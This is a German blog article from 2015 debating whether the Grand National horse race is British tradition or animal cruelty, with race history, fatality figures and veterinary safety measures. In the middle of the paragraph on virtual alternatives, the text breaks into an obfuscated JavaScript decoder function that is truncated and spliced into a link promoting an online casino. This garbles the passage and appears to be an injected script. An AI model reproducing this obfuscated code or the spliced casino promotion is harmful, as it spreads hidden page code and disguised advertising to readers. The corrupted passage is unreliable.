The Grand National – Klassisch-britische Tradition oder bizarre Zurschaustellung von Tierquälerei?

19. Februar 2015 | Von Redaktion | Kategorie: Galopprennsport

In weniger als zwei Monaten, am 11. April, findet das jährliche Grand National Spektakel wieder einmal statt. Es handelt sich hierbei um eines der größten Pferderennen der Welt.

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Dieses Jahr geht das Rennen, das jedes Frühjahr auf der Aintree Rennbahn in der englischen Stadt Liverpool ausgetragen wird, in seine 176. Runde. Das Rennen, als Handicap Steeplechase kategorisiert, findet über eine Strecke von vier Meilen und 3.5 Achtelmeilen statt, wobei 21 Pferde 30 Hindernisse im Laufe von zwei Runden überwinden müssen. Der glückliche Gewinner geht mit einem Preisgeld von einer Million Pfund nach Hause.

Beliebt beim Adel bis hin zum Königshaus selbst, hat sich das Ereignis einen festen Platz in britischer Tradition erarbeitet und im Laufe der Jahre für viele erinnerungswürdige Momente gesorgt. Ein solcher ereignete sich zum Beispiel 1956, als das Pferd der Königinmutter, Devon Loch, den Sieg beinahe in Händen oder vielmehr Hufen hielt. Doch 50 Yards vor dem Ziel stürzte das Pferd zu Boden und konnte das Rennen nicht beenden. Die Königinmutter nahm es mit typisch britischem Unterstatement, als sie sagte “Oh, that's racing”, was so viel bedeutet wie: „So ist das halt beim Rennen“.

Mit solchen Erinnerungen kann wohl kaum einer dagegenhalten, wenn man behauptet, es handelt sich beim „Grand National“ um eine wahre Bastion britischer Kultur, und auch nach nahezu zwei Jahrhunderten hat das Rennen noch immer ein treues Gefolge. In 2013 alleine wurden zum Beispiel in Großbritannien Wetten im Wert von über 1.5 Millionen Pfund auf das Rennen gesetzt.

Aber in den letzten Jahren hat das Event immer mehr negative Presseaufmerksamkeit auf sich gezogen. Tierrechtsgruppen fordern die Abschaffung des Rennens, nachdem Anschuldigungen über Tierquälerei laut wurden. Jedes Jahr passieren Unfälle,:wenn mehrere Pferde gleichzeitig versuchen, über die Hürden zu springen und sich dabei in die Quere kommen.

Recherchen der Anglia Ruskin University zufolge sterben im Schnitt sechs Pferde pro 1000 Steeplechase Rennen. Jedoch starben zwischen 2000 und 2010 bei den Grand National Rennen sechs Tiere von insgesamt 439 Teilnehmern.

Es stellt sich also die Frage, ob die Organisatoren das Rennen nicht besser einstellen sollten. Die Tradition ist nicht anzufechten, trotzdem hat sich seit 1839 viel getan. Wir leben in einer Zeit, in der Tierrechte viel an Prominenz und öffentlichem Ansehen dazugewonnen haben und in der es zudem eine Vielzahl an zuvor nicht verfügbaren Unterhaltungsmöglichkeiten gibt. Brauchen wir in 2015 also noch ein weiteres, potentiell tödliches Rennen? Wenn man auf der Suche nach dem Kick ist, der ein solches Event und das damit oft verbundene Wetten mit sich bringt, gibt es heute eine Vielzahl an virtuellen Alternativen, wie zum Beispiel die Pferderennspiele auf function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand National" href="http://de.spinpalace.com" onclick="javascript:_gaq.push(['_trackEvent','outbound-article','de.spinpalace.com']);" target="_blank">http://de.spinpalace.com, in denen garantiert keinem Tier ein Leid zugefügt wird).

Andererseits haben technische und tiermedizinische Fortschritte in den letzten Jahren dazu beigetragen, die Rennen sicherer zu machen. Tierärzte sind mittlerweile immer vor Ort, um alles in ihrer Macht stehende zu tun, um verletzte Tiere zu retten. Seit 2013 hat es beim Grand National somit keinen einzigen Todesfall gegeben. Zuletzt hatte Synchronised sich das Bein gebrochen und musste auf der Rennbahn eingeschläfert werden.

Technischer Fortschritt mag zwar einige Tierrechtler beruhigen. Aber bis alle Risiken überwunden sind, wird der Kampf um die Weiterführung des Grand Nationals wohl noch weiter toben.

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